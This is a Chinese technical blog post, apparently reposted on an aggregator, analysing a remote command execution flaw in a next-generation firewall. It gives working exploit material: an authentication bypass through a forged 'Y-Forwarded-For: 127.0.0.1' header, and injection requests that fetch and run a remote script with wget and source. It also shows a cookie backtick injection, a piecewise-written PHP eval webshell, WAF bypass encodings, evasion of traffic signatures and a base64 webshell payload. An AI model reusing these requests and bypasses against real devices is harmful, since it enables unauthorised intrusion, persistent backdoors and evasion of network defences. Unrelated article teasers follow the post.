技术分享 | 某下一代防火墙远程命令执行漏洞分析及防护绕过

news2024/10/5 17:27:10

0x01 概述

最近,某下一代防火墙曝光了远程代码执行漏洞。此漏洞通过绕过身份认证和注入 cookie 的方式来执行系统命令,公开的利用方式受到诸多限制且命令执行无回显,并且当目标机器不出网时,该漏洞利用方式便无法发挥作用,因此无法满足实际攻防场景的需求。
本文我们将分享绕过命令执行的安全防护机制,并实现命令执行回显、反弹shell、自定义上传webshell等利用效果的方法。
在这里插入图片描述

0x02 漏洞分析

2.1 认证绕过

/etc/apache/conf.new/original/httpd.conf/etc/apache/conf.new/httpd.conf apache 配置文件中,规定了与身份验证相关的 RewriteRule 规则限制和 dispatch 控制器函数。

RewriteRule 规则会将所有非特定扩展名的请求重写到 index.php 文件,从而将 URL 解析交给 index.php 来处理。

AllowOverride None
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
RewriteBase /
RewriteRule !\.(js|gif|jpg|jpeg|png|css|pdf|ico|htm|html|htc|zip|crt|txt)$ index.php
RewriteRule \.(php)$ index.php

dispatchRequest() 函数会判断用户的IP地址,当传入的地址为 127.0.0.1 时,则会绕过下方的 if 判断,即不会被重定向到 LogInOut.php 页面,这样就绕过了身份验证的限制。因此,当我们把 IP 设定为 127.0.0.1 时,便可以绕过安全检查。

public function dispatchRequest()
	{
		$t_objController = $this->getControllerInstance();
		if($t_objController) {
			//是否需要判断跨站攻击,一般登录页面不需要判断跨站攻击
			if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')
				$t_boolNeedCheck = false;
			else
				$t_boolNeedCheck = true;
			if(isset($t_objController->m_boolNeedCheck))
				$t_boolNeedCheck = $t_objController->m_boolNeedCheck;
			//防止跨站攻击
			if($this->isAuthUser() && strcmp($_SERVER['REMOTE_ADDR'],"127.0.0.2") != 0 && !isset($_REQUEST['scinfo']) && !isset($_REQUEST['sd_t']) && (!isset($_GET['sid']) || $_GET['sid'] != session_id()) && $t_boolNeedCheck)
			{
				//要设置t_boolNeedCheck = false,要不会有重定向死循环
				CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
				exit(0);
			}
			$t_fStartTime = $this->costMicroTime();
			$t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);
			$t_fEndTime = $this->costMicroTime();
			$t_fTotal = $t_fEndTime - $t_fStartTime;
			CMiscFunc::printMsg($t_fTotal);
			return true;
		}
		CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
		return false;
	}

/etc/apache/conf.new/original/httpd.conf 配置文件中,定义了 RPAFheader 模块。此模块用于在代理服务器后面识别客户端的真实 IP 地址。通过配置 RPAFheader 模块,可以让 Apache 在处理请求时使用代理服务器发送的请求报头中的特定字段作为客户端的IP地址,而不是默认使用代理服务器的IP地址。
在这里插入图片描述

结合上述的身份验证逻辑,我们可以将请求头设置为 Y-Forwarded-For: 127.0.0.1来绕过访问限制。
在这里插入图片描述

2.2 命令执行

CFWLogInOutDAO.php 文件的 remoteLogin 方法中接收了前端传入的用户名和密码。使用 RSA 解密后,将用户名和密码传递给远程登录命令。通过远程登录命令返回登录结果,成功登录后,根据修改后的用户名从数据库中查询用户信息,并将结果存入session中。

代码中使用 popen 函数执行远程登录命令。但由于远程登录命令参数未经过严格的参数校验,所以导致了命令执行注入点的存在。

public function remoteLogin(&$in_arrSearchCondition)
	{
		$userName = $in_arrSearchCondition ['user_name'];
		$passwd = $in_arrSearchCondition ['password'];
        //rsa的解密
		$t_strMD5 = $this->decrypt($passwd);		
		$fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");
		$retResult = fread($fp, 20);
		pclose($fp);
		if ($retResult == "retLoginSuccess") {
			$in_arrSearchCondition ['user_name'] = $userName."_remote_";
			$t_strUserName = addslashes($in_arrSearchCondition ['user_name']);
			$t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";
			return $this->setSession($t_strSQL);
		}
		return false;
	}

利用该漏洞点,我们可以进行命令注入。

POST /LogInOut.php HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 625

type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha>

除此之外,还存在第二个命令注入点。但因为取值自 cookie,因此无法用注入分号来截断命令,也无法进行URL 编码。但可以使用反引号来达成命令执行的效果。

POST /cgi-bin/login.cgi HTTP/1.1
Host: 
Cookie: PHPSESSID=`$(wget host)`;
Content-Type: Application/X-www-Form
Connection: close

 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}

0x03 深入利用

上述命令执行漏洞的利用方式存在无回显的问题,公开的利用方式是通过使用 wget下载恶意文件来执行命令并获取结果,当目标机器不出网时,该漏洞利用方式便无法发挥作用。因此,本章将详细介绍如何巧妙地利用漏洞点,在命令执行受限且不出网的情况下,成功执行任意命令的方法。

3.1 命令回显

文件写入并执行 webshell 的方式可以绕过命令执行的限制并解决不出网的问题。

经过测试,命令执行写入文件的过程中会有如下限制:

  1. 无法注入分号截断命令
  2. 无法使用 || && 等特殊符号
  3. 想要通过 echo 写入文件时,>> 追加写入的方式,不可以,> 会被截断
  4. 较长的 PHP 代码部分,都无法被传入,无法正常解析,需要分段截取写入
  5. 传入命令时,需要对特殊字符进行 url 编码

绕过思路:由于无法用追加的方式写入到一个 php 文件内,所以将 php 的代码截断,分别写入到不同的 txt 内,最后再将这些文件的内容读取,写到 php 文件内。先写入一个小马,之后在这个小马的基础上,实现更复杂的功能。

<?php eval($_POST["pass"])?>
echo -e -n \"<?php \" > /fwlib/sys/virus/webui/svpn_html/1.txt

echo -e -n \"eval\" > /fwlib/sys/virus/webui/svpn_html/2.txt

echo -e -n '($_POST[\"pass' > /fwlib/sys/virus/webui/svpn_html/3.txt

echo -e -n '\"])' > /fwlib/sys/virus/webui/svpn_html/4.txt

echo -e -n \" ?>\" > /fwlib/sys/virus/webui/svpn_html/5.txt

cat /fwlib/sys/virus/webui/svpn_html/1.txt /fwlib/sys/virus/webui/svpn_html/2.txt /fwlib/sys/virus/webui/svpn_html/3.txt /fwlib/sys/virus/webui/svpn_html/4.txt /fwlib/sys/virus/webui/svpn_html/5.txt> /fwlib/sys/virus/webui/svpn_html/xxx.php

执行系统命令,并获得回显。
在这里插入图片描述

这样的方式执行系统命令会有很多的限制,当执行类似 echo "hello" > 1.php 这样的长命令时,会对一些特殊字符进行过滤拦截。因此这种方式虽然能够解决不出网的问题,但并不能完全绕过命令执行的限制。

3.2 限制与绕过

上文提到的代码执行过程中,会对特殊字符进行过滤,因此在传输过程中需要对 php 代码进行编码。但当执行一些特殊的 php 函数,以及外部连接的流量有恶意特征时,则会被安全防护设备检测并拦截。下文将详细介绍如何绕过安全防护措施,并成功执行任意的 PHP 代码。

(1)base64 编码

为了绕过防御机制,我们对 PHP 代码进行了 Base64 编码。在正向调用 PHP 的 Base64 函数时,防御机制会对其进行拦截,导致无法成功发送数据包。这里,我们通过方法传参的思路绕过了防御机制。

echo system($_POST[1]("cHdk"));&1=base64_decode

在这里插入图片描述

(2) 防护限制

  1. 在进行 Base64 编码时,如果包含 “+” 号,发送数据包后可能会导致解析错误的问题。为了修复这个问题,我们需要对整个 Base64 编码部分进行额外的 URL 编码处理,以确保数据的正确解析。

    url.QueryEscape(base64Encode(cmd))
    
  2. 当发送的命令太短(小于三位),导致 base64 长度很短时,也会面临发送失败的问题。这时可以利用命令的替换来绕过。

    ls   
    echo ls | sh
    

    在这里插入图片描述

  3. 网络应用防火墙(WAF)采用了一些策略来对等号(=)进行限制。例如,在对数据进行 Base64 编码后,如果编码结果的结尾包含一个或两个等号,那么发包的尝试就会失败。然而,我们可以通过在等号后面添加空格来绕过这个限制。这种方法并不会影响 Base64 编码结果的正确性。可能是为了防止赋值操作中使用的字符串(例如 $a="b" ),WAF设置了这样的规则。

    在这里插入图片描述

  4. 利用 http 头来进行传参。经过实际测试,这种利用方式会对 header 头字段值的长度进行限制。

    echo system($_POST[1]($_SERVER["HTTP_CMD"]));&1=base64_decode
    

    在这里插入图片描述

  5. 嵌套多层 $_POST

    既然直接传入有限制,那就通过改变写法的方式绕过,自行传参进去。

    echo system($_POST[1]($_POST[2]));&1=base64_decode&2=bHMgLw==
    

    在这里插入图片描述

  6. 利用 hex2bin

    和 base64 一个思路,就是通过编码来绕过它的防护机制。它有一定的版本限制,PHP 5 >= 5.4.0, PHP 7, PHP 8(sangfor 的这个产品不支持,它的版本在5.3.2)。

    echo system(hex2bin($_POST["command"])); // 普通写法
    echo system($_POST[1]("command"));&1=hex2bin // 绕过写法
    

(3)流量检测绕过

webshell 管理工具连接过程中的两个问题:

  1. 传统 webshell 管理工具有特征值,会被安全防护设备拦截,所以需要修改特征值。

    在此次攻击的绕过,需要修改 webshell 木马的默认连接密码、密钥 key、默认请求头

  2. 连接的过程中,实际上 webshell 工具也要发包过去,所以,根据此次漏洞的漏洞点,还需要修改管理工具的请求头,要加上一行

    Y-Forwarded-For: 127.0.0.1
    

另外,在传 webshell 上去的时候,因为要额外控制更多的参数、传入的内容,传入的名称。所以需要更多的变量,有两个需要注意的点:

  1. 执行的函数更复杂,所以需要更多的传参点

    file_put_contents($_POST[filename],base64_decode($_POST[content]));   // 正向写法
    
    pass= $_POST[1]($_POST[2],$_POST[3]($_POST[4]));&1=file_put_contents&2=filename.php&3=base64_decode&4=PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpmdW5jdGlvbiBlbmNvZGUoJEQsJEspewogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7CiAgICAgICAgJGMgPSAkS1skaSsxJjE1XTsKICAgICAgICAkRFskaV0gPSGF5bG9hZCk7CiAgICAgICAgZWNoAgIGVjaG8gc3Vic3RyKG1kNSgkcGFzcy4ka2V5KSwxNik7CiAgICB9ZWxzZXsKICAgICAgICBpZiAoc3RycG9zKCRkYXRhLCJnZXRCYXNpY3NJbmZvIikhPT1mYWxzZSl7CiAgICAgICAgICAgICRfU0VTU0lPTlskcGF5bG9hZE5hbWVdPWVuY29kZSgkZGF0YSwka2V5KTsKICAgICAgICB9CiAgICB9Cn0K
    // 绕过写法
    
  2. 必须要在木马传参点 pass= 的后面加一个空格进行传参。
    在这里插入图片描述

0x04 总结

在本文中,我们对某下一代防火墙的命令执行漏洞进行了分析,并发现了命令执行无回显等限制。为了绕过这些限制,我们采用了写入木马和特殊编码的方法。同时,我们也发现该系统存在其他安全防护机制。经过深入的分析和研究,我们最终成功绕过了这些安全机制,并实现了命令执行、反弹shell 以及webshell 上传的功能。

希望在阅读本篇文章后,能为大家带来一些新思路的启发。

0x05 参考

https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/

https://gryffinbit.top/20221226/godzilla_v4.0/

https://www.freebuf.com/articles/web/330736.html

Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。

也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~

文章来自Goby社区成员:Gryffinbit@白帽汇安全研究院,转载请注明出处。
微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动
获取版本:https://gobysec.net/sale

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1136860.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言——有 15 个数按由大到小顺序存放在一个数组中,输入一个数,要求用折半查找法找出该数是数组中第几个元素的值。如果该数不在数组中,则输出“无此数”

完整代码&#xff1a; /* 有 15 个数按由大到小顺序存放在一个数组中&#xff0c;输入一个数&#xff0c;要求用折半查找法找出 该数是数组中第几个元素的值。如果该数不在数组中&#xff0c;则输出“无此数”。*/ #include<stdio.h>//折半查找法&#xff0c;n是查找的那…

超宽带技术在汽车领域的应用

随着科技的不断发展&#xff0c;超宽带&#xff08;Ultra-Wideband, UWB&#xff09;技术在各个领域展现出了强大的潜力&#xff0c;其中汽车领域更是受益匪浅。UWB技术以其高精度的定位能力、高速的数据传输和低功耗的特点&#xff0c;为汽车行业带来了许多创新。本文将探讨UW…

在Python的虚拟环境中卸载eric6的方法

问题描述 之前在电脑的Python虚拟环境中安装了PyQt5及相应的界面设计器eric6。当时安装eric6后&#xff0c;没成功运行&#xff0c;提示少一个什么系统文件。我已在旁边的台式机上安装了较新版的PyQt6&#xff0c;决定不再用老版本的eric6&#xff0c;于是我需在笔记本电脑上卸…

C#WPF嵌入字体实例

本文介绍C#WPF嵌入字体实例。 首先创建项目 添加Resources文件夹,添加字体文件,字体文件属性:生成操作为Resources,复制到输出目录:不复制 字体的使用可以采用以下两种方法: 方式一 直接引用 FontFamily="./Resources/#幼圆" 方式二 定义资源 <Applica…

微信小程序:js处理一段文字,根据句号或者分号进行换行

一、根据句号和分号进行换行 效果 代码 wxml <view><text>{{remark}}</text> </view> js 核心代码 var repalce_remark remark.replace(/[&#xff1b;。]/g, "$&\n"); // 使用正则表达式进行替换 remark 是待替换的字符串。/[&am…

APP移动出海必备神器,MobPush提供海外消息智能推送一站式解决方案

随着国内移动应用市场的趋于饱和&#xff0c;海外新兴市场成为越来越多移动应用开发者的进一步提升APP市场占有率的不二之选。据统计&#xff0c;中国应用开发者中有79.1%计划出海。但如何利用消息推送实现与用户的深度绑定仍然存在较为一定问题。在国外&#xff0c;应用开发者…

深度学习:激活函数曲线总结

深度学习&#xff1a;激活函数曲线总结 在深度学习中有很多时候需要利用激活函数进行非线性处理&#xff0c;在搭建网路的时候也是非常重要的&#xff0c;为了更好的理解不同的激活函数的区别和差异&#xff0c;在这里做一个简单的总结&#xff0c;在pytorch中常用的激活函数的…

如何使用爬虫做一个网站

​ 大家如果有兴趣做网站&#xff0c;在买了VPS&#xff0c;部署了wordpress&#xff0c;配置LNMP环境&#xff0c;折腾一番却发现内容提供是一个大问题&#xff0c;往往会在建站的大&#xff08;da&#xff09;道&#xff08;keng&#xff09;上泄气 &#xff0c;别怕&#xf…

找免费商用字体,就上这5个网站,再也不怕侵权了。

很多新手设计师没有版权意识&#xff0c;网上找了字体直接使用结果被发律师函&#xff0c;造成巨大损失&#xff0c;建议大家使用前先去查询一下这款字体是否能商用&#xff0c;另外就是去找一些可以免费商用的字体使用。如何才能找到免费商用字体呢&#xff1f; 下面我就把我…

迅镭激光万瓦切割设备中标全球轨交装备龙头中国中车

轨道交通装备被称之为国之重器&#xff0c;历经60多年的发展&#xff0c;我国轨交装备制造业已成为自主创新程度最高、国际创新竞争力最强、产业带动效应最明显的行业之一。 而承担我国现代化轨道交通装备研发制造的中国中车股份有限公司(以下称“中国中车”)&#xff0c;也在用…

微前端qiankun接入Vue和React项目

主应用&#xff1a;Vue3Webpack 1、创建主应用&#xff1a; npx vue create main-vue3-app 2、安装qiankun npx yarn add qiankun 3、项目中使用的vue、vue-router、qiankun依赖如下&#xff0c;webpack版本为5.x 4、在根目录下创建vue.config.js const { defineConfig }…

一张逻辑图讲清楚OS在做什么:浅谈OS

本文旨在通过思维导图的方式、对os主要的知识点简短介绍&#xff0c;让读者能短时间快速把os是什么、干什么给串起来。当别人问起来时&#xff0c;可以用3-5分钟讲清楚。如果读者对os有更加深入的兴趣&#xff0c;可点对点针对某一内容再做进一步研究。通常对于互联网从业者来说…

TSINGSEE青犀老旧小区升级改造AI+视频监控方案

一、背景与需求 近年来&#xff0c;政府高度重视城镇老旧小区改造工作&#xff0c;强调要加快老旧小区改造&#xff0c;不断完善城市管理和服务&#xff0c;彻底改变粗放型管理方式&#xff0c;让人民群众在城市生活得更方便、更舒心、更美好。老旧小区升级改造面临以下问题&a…

绿米Aqara S1【妙控开关 S1E】的破解方法

概述 为了更好地向友商学习,我们采购了绿米的一块妙控开关 S1E的屏幕,用来研究。 首先上图看一下他的设计及推广的说明: 产品详情,参见Aqara的官方网站: 具体链接:妙控开关 S1E|Aqara 全屋智能 硬件概要 这里我就直接上硬件的说明了。 官方的设备参数如下: 我来写…

SRS srs-bench

1 srs-bench 音视频压测工具&#xff0c;包括RTMP/FLV/WebRTC/GB28181等&#xff0c;未来还会完善。 SB(SRS Bench) is a set of benchmark and regression test tools, for SRS and other media servers, supports HTTP-FLV, RTMP, HLS, WebRTC and GB28181. For RTMP/HLS/F…

7.MySQL复合查询

个人主页&#xff1a;Lei宝啊 愿所有美好如期而遇 目录 复合查询 基本查询回顾 多表查询 自连接 子查询 单行子查询 多行子查询 多列子查询 在from子句中使用子查询 合并查询 union union all 实战OJ 复合查询 前面我们讲解的mysql表的查询都是对一张表进行查询…

图像恢复介绍(持续更新)

前言 噪声的产生是信号在采集、传输以及记录过程中&#xff0c;受到成像设备自身因素和外界环境的影响而产生的。现实中的噪声是随机分布的&#xff0c;事实上&#xff0c;噪声无法完全去除&#xff0c;只能使得重现信号尽可能的接近原始信号&#xff0c;因此&#xff0c;去噪严…

JavaSpringbootmysql农产品销售管理系统47627-计算机毕业设计项目选题推荐(附源码)

摘 要 随着互联网趋势的到来&#xff0c;各行各业都在考虑利用互联网将自己推广出去&#xff0c;最好方式就是建立自己的互联网系统&#xff0c;并对其进行维护和管理。在现实运用中&#xff0c;应用软件的工作规则和开发步骤&#xff0c;采用Java技术建设农产品销售管理系统。…

Matplotlib | 高阶绘图案例【4】- 2023年编程语言榜单Python稳坐第一

文章目录 &#x1f3f3;️‍&#x1f308; 1. 导入模块&#x1f3f3;️‍&#x1f308; 2. 数据处理2.1 高效数据2.2 保留需要的列 &#x1f3f3;️‍&#x1f308; 3. 绘图3.1 绘制图布&#xff0c;添加3个子图3.2 绘制子图1条形图3.3 子图1条形图添加数据标签3.4 绘制子图2条…

toluaframework中C#怎么调用Lua的方法以及无GC方法

toluaframework中C#怎么调用Lua的方法 问题Util.CallMethodLuaManager.CallFunctionLuaFunction.LazyCall 解决方案LuaFunction脚本无GC消耗的调用 用法总结 问题 用过luaframework框架的人应该都知道框架提供了Util的工具类&#xff0c;工具类提供了一个方法就是Util.CallMet…